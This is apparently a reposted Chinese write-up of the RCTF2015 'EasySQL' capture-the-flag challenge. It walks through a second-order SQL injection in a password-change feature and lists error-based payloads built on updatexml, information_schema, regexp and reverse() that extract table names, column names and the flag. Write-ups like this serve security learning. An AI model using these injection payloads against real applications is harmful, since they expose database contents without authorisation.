[RCTF2015]EasySQL


參考peri0d師傅的文章

 

初始頁面存在一個注冊界面和一個登入的界面

 注冊一個新用戶,登入進去可以修改密碼,應該是二次注入

注冊的時候發現了一些詞被過濾掉了,fuzz了一下,過濾了部分字符

當注冊用戶為 admin“ 進行修改密碼時存在報錯

 

可以推出后台的sql語句為

update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

因為存在報錯回顯,那么就可以直接用報錯注入

 

獲取表名

test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

 獲取列名

test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

 得到了一個假的flag

test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

 真正的flag在users表中

但是要輸出數據的時候提示沒有存在該列,可以推測該列沒有被完全輸出

 可以用regexp正則來匹配

test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

找到真正的保存flag的列,直接獲取數據

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#

得到了xxx,xxx,同樣用正則來匹配flag

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

 打印出了前面的flag,后面還沒顯示出來,可以用reverse逆序輸出flag

test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

 得到逆序后的后部分flag,用python 的切片步長為-1得到正向的flag,然后拼接即可

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM